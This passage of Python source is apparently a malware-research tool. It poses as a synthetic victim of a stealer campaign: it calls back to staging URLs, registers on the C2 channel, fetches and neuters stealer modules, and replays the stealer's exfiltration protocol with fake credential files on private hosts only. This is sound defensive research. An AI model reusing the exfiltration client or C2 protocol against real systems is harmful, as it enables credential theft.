if y >= height - 42: r, g, b = 25, 28, 33
if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50
rows.extend((r, g, b))
sig = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0)
return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"")
@dataclass
class HTTPObservation:
method: str
url: str
status: Optional[int]
response_size: int
response_sha256: Optional[str]
content_type: str
preview: str
error: str = ""
def http_request(method, url, *, user_agent, body, timeout, insecure_tls):
req = urllib.request.Request(url, data=body, method=method)
req.add_header("User-Agent", user_agent)
if body is not None:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context()
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
data = resp.read(1024 * 1024)
return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data))
except urllib.error.HTTPError as exc:
try: data = exc.read(1024 * 1024)
except Exception: data = b""
return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}")
except Exception as exc:
return HTTPObservation(method, url, None, 0, None, "", "", str(exc))
def delivery_cycle(args, profile, log):
base = args.delivery_base.rstrip("/")
query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country})
start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}"
png = make_synthetic_desktop_png(args.screen_width, args.screen_height)
image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii")
screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii")
log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile))
log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png))
if args.dry_run:
log.event("DRYRUN", f"GET {start_url}", module="delivery")
log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery")
log.event("DRYRUN", f"GET {end_url}", module="delivery")
return
for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]:
obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls)
log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs))
if obs.preview:
log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery")
# ---------------------------------------------------------------------------
# Module 2: TCP/406 WebSocket synthetic victim
# ---------------------------------------------------------------------------
def ws_encode(payload, opcode=WS_OP_BINARY):
mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload)
if n <= 125: out.append(0x80 | n)
elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n))
else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n))
out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
return bytes(out)
class WSReader:
def __init__(self, sock, leftover=b""):
self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray()
def _need(self, n):
while len(self.buf) < n:
chunk = self.sock.recv(4096)
if not chunk: raise ConnectionError("peer closed")
self.buf.extend(chunk)
def read_frame(self, timeout=1.0):
self.sock.settimeout(timeout)
try: self._need(2)
except socket.timeout: return None
b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2
if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2
elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8
mask = b""
if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4
self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln]
if masked:
for i in range(ln): payload[i] ^= mask[i % 4]
return fin, opcode, bytes(payload)
def read_message(self, timeout=1.0):
while True:
fr = self.read_frame(timeout)
if fr is None: return None
fin, opcode, payload = fr
if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload
if opcode in (WS_OP_TEXT, WS_OP_BINARY):
if fin: return opcode, payload
self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue
if opcode == WS_OP_CONT and self.frag_opcode is not None:
self.frag_payload.extend(payload)
if fin:
op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data
def websocket_handshake(sock, host, port, log, user_agent):
host_header = host if port == 80 else f"{host}:{port}"
request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii")
sock.sendall(request); sock.settimeout(15); resp = bytearray()
while b"\r\n\r\n" not in resp:
chunk = sock.recv(4096)
if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed")
resp.extend(chunk)
if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit")
head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406")
if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}")
expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii")
actual = headers.get("sec-websocket-accept", "")
if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}")
return leftover
# ---------------------------------------------------------------------------
# Module 3: task-triggered TCP/408 module collector
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class ModuleTask:
task_type: str
task_id: str = ""
version: str = "unknown"
param: str = ""
raw: str = ""
def parse_createtask(text):
parts = [x.strip() for x in text.strip().split(";")]
if len(parts) < 3: return None
if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2
elif parts[0].lower() == "createtask": i = 1
else: return None
task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""}
if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1
while i < len(parts):
key = parts[i].lower()
if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2
elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2
else: i += 1
if not task_type: return None
return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text)
def minimal_pe_meta(raw):
meta = {"pe_like": False}
if len(raw) < 0x40 or raw[:2] != b"MZ": return meta
try: e = struct.unpack_from("<I", raw, 0x3C)[0]
except struct.error: return meta
meta["e_lfanew"] = e
if e < 0x40 or e + 26 > len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta
machine, sections, ts = struct.unpack_from("<HHI", raw, e+4); opt_size = struct.unpack_from("<H", raw, e+20)[0]; magic = struct.unpack_from("<H", raw, e+24)[0]
meta.update(pe_like=True, machine=f"0x{machine:04x}", number_of_sections=sections, coff_timestamp=ts, optional_header_size=opt_size, optional_magic=f"0x{magic:04x}")
opt = e + 24
if magic in (0x10B, 0x20B) and opt + 0x3C <= len(raw):
meta["entrypoint_rva"] = f"0x{struct.unpack_from('<I', raw, opt+0x10)[0]:x}"; meta["size_of_image"] = struct.unpack_from("<I", raw, opt+0x38)[0]
return meta
def neuter_pe(raw, pe_meta):
patches = []; e = pe_meta.get("e_lfanew")
if len(raw) >= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ")
if isinstance(e, int) and 0 <= e <= len(raw)-4:
raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed")
if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed")
if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed")
if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed")
return patches
def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log):
if not safe_component(task_type): raise ValueError("task type contains unsafe characters")
if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters")
req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii")
log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408")
with socket.create_connection((host, port), timeout=timeout) as sk:
sk.settimeout(timeout); sk.sendall(req); buf = bytearray()
while b"\r\n\r\n" not in buf:
chunk = sk.recv(4096)
if not chunk: break
buf.extend(chunk)
if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit")
if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response")
head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
try: status = int(lines[0].split()[1])
except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}")
headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
if status != 200: raise ValueError(f"module endpoint returned HTTP {status}")
body = bytearray(first); expected = None
if "content-length" in headers:
expected = int(headers["content-length"])
if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}")
while True:
if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)")
if expected is not None and len(body) >= expected: del body[expected:]; break
chunk = sk.recv(min(65536, max_bytes + 1 - len(body)))
if not chunk: break
body.extend(chunk)
if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}")
if not body: raise ValueError("empty module body")
return headers, body
class ModuleCaptureManager:
def __init__(self, args, log): self.args, self.log, self.seen = args, log, set()
def capture(self, task, profile):
allowed = self.args.capture_type or ["Stealer"]
if task.task_type.lower() not in {x.lower() for x in allowed}:
self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return
key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower())
if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return
self.seen.add(key); raw = None
try:
host = self.args.task_host or self.args.c2_host
headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log)
orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw)
if not pe.get("pe_like"):
self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return
patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True)
try: os.chmod(outdir, 0o700)
except OSError: pass
ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module"
base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}"
dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json")
fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600)
with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush()
read_only(dp)
rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."}
with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2)
read_only(mp)
self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408")
except Exception as exc:
self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task))
finally:
if raw is not None:
for i in range(len(raw)): raw[i] = 0
def classify_control_message(text):
t = text.strip().lower()
if t.startswith("ping"): return "PING"
if t.startswith("pong"): return "PONG"
if t.startswith("getinfo"): return "GETINFO"
if t.startswith("checkserver"): return "CHECKSERVER"
if t.startswith("task;") or t.startswith("createtask"): return "TASK"
if t.startswith("closetask"): return "CLOSETASK"
if t.startswith("update"): return "UPDATE"
if t.startswith("task_done;"): return "TASK_DONE"
return "UNCLASSIFIED"
def run_honeypot(args, profile, log):
checkin, info = profile.checkin_message(), profile.info_message()
log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile))
if args.dry_run:
log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406")
log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406")
log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406")
if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408")
return
manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe
with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock:
reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent))
sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406")
while True:
if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break
msg = reader.read_message(timeout=1.0)
if msg is None: continue
opcode, payload = msg
if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break
if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue
if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue
text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text)
log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload))
low = text.strip().lower()
if low.startswith("getinfo") and not args.no_getinfo_response:
sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406")
elif low.startswith("ping"):
sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406")
task = parse_createtask(text)
if task:
log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task))
if manager: manager.capture(task, profile)
else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408")
# Intentionally: no task execution and no task_done response.
try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE))
except OSError: pass
# ---------------------------------------------------------------------------
# Module 4: controlled TCP/1488 Stealer exfiltration protocol lab
# ---------------------------------------------------------------------------
def resolve_controlled_target(host):
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = []
for info in infos:
addr = info[4][0]
if addr not in addrs: addrs.append(addr)
if not addrs: raise ValueError("target did not resolve")
bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)]
if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad))
return addrs
def safe_archive_name(name):
name = name.replace("\\", "/").strip(); p = PurePosixPath(name)
if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}")
return str(p)
def deterministic_synthetic_bytes(label, size):
if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}")
seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b""
def parse_synthetic_entries(text_specs, byte_specs):
entries = []
for spec in text_specs:
if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}")
name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode()
if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large")
entries.append((name, data))
for spec in byte_specs:
if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}")
name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0))))
if not entries:
entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")]
if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})")
if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name")
return entries
def build_synthetic_zip(entries):
bio = io.BytesIO()
with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for name, data in entries:
zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data)
blob = bio.getvalue()
if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes")
return blob
def zip_manifest(blob):
with zipfile.ZipFile(io.BytesIO(blob), "r") as zf:
return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()]
def recv_exact(sock, n):
out = bytearray()
while len(out) < n:
chunk = sock.recv(n-len(out))
if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes")
out.extend(chunk)
return bytes(out)
def recv_line(sock, limit=128):
out = bytearray()
while len(out) < limit:
b = sock.recv(1)
if not b: raise ConnectionError("peer closed before newline")
out.extend(b)
if b == b"\n": return bytes(out)
raise ValueError("identity line exceeded limit")
def receive_auth(sock, mode, timeout):
sock.settimeout(timeout)
if mode == "malware":
data = sock.recv(0x100)
if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}")
return data
buf = bytearray(); deadline = time.monotonic() + timeout
while time.monotonic() < deadline and len(buf) < 4096:
try: chunk = sock.recv(0x100)
except socket.timeout: break
if not chunk: break
buf.extend(chunk)
if AUTH_MARKER in buf: return bytes(buf)
raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}")
def run_exfil_server(args, log):
resolve_controlled_target(args.bind)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5)
log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
for txn in range(1, args.transactions+1):
conn, peer = srv.accept()
with conn:
conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n")
log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab")
if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}")
if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:])
else: conn.sendall(AUTH_MARKER)
declared = struct.unpack(">Q", recv_exact(conn, 8))[0]
if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit")
archive = recv_exact(conn, declared); manifest = zip_manifest(archive)
log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest)
def run_exfil_client(args, profile, log):
resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries]
for idx, batch in enumerate(batches, 1):
archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive))
if args.dry_run:
log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue
with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock:
sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive)
try: sock.shutdown(socket.SHUT_WR)
except OSError: pass
log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive))
def run_exfil_selftest(log):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {}
def srv():
try:
conn,_ = listener.accept()
with conn:
result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body)
finally: listener.close()
t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries)
with socket.create_connection(("127.0.0.1", port), timeout=3) as sock:
sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive)
t.join(3)
assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries]
# Reproduce fragmented auth weakness.
listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1]
def srv2():
try:
conn,_ = listener2.accept()
with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok")
finally: listener2.close()
t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False
try:
with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1)
except RuntimeError: failed = True
t2.join(2); assert failed
log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0)
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def add_common(p):
p.add_argument("--logfile", default=None, help="append structured JSONL evidence")
p.add_argument("--dry-run", action="store_true", help="print intended actions without networking")
def add_profile(p):
p.add_argument("--hostname", default="", help="synthetic computer name")
p.add_argument("--user", default="", help="synthetic username")
p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version")
p.add_argument("--av", default="", help="synthetic antivirus product")
p.add_argument("--id", default="", help="synthetic 8-hex check-in ID")
p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID")
p.add_argument("--country", default="", help="synthetic two-letter country code")
def add_delivery(p):
p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE)
p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA)
p.add_argument("--delivery-timeout", type=float, default=15.0)
p.add_argument("--screen-width", type=int, default=960)
p.add_argument("--screen-height", type=int, default=540)
p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification")
def add_c2(p):
p.add_argument("--c2-host", default=DEFAULT_C2_HOST)
p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT)
p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline")
p.add_argument("--connect-timeout", type=float, default=15.0)
p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
p.add_argument("--no-getinfo-response", action="store_true")
p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection")
p.add_argument("--task-host", default="", help="task host; defaults to --c2-host")
p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT)
p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer")
p.add_argument("--capture-dir", default="captured_modules")
p.add_argument("--task-timeout", type=float, default=12.0)
p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES)
def build_parser():
p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.")
sub = p.add_subparsers(dest="command", required=True)
x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x)
x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x)
x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x)
x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE)
x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0)
x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x)
return p
def validate(args):
for name in ("control_port", "task_port", "exfil_port"):
if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535")
if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}")
if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64")
if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code")
if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters")
def main():
args = build_parser().parse_args(); validate(args); log = Logger(args.logfile)
try:
if args.command == "delivery": delivery_cycle(args, build_profile(args), log)
elif args.command == "honeypot": run_honeypot(args, build_profile(args), log)
elif args.command == "workflow":
profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log)
elif args.command == "exfil-server":
if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
else: run_exfil_server(args, log)
elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log)
elif args.command == "exfil-selftest": run_exfil_selftest(log)
return 0
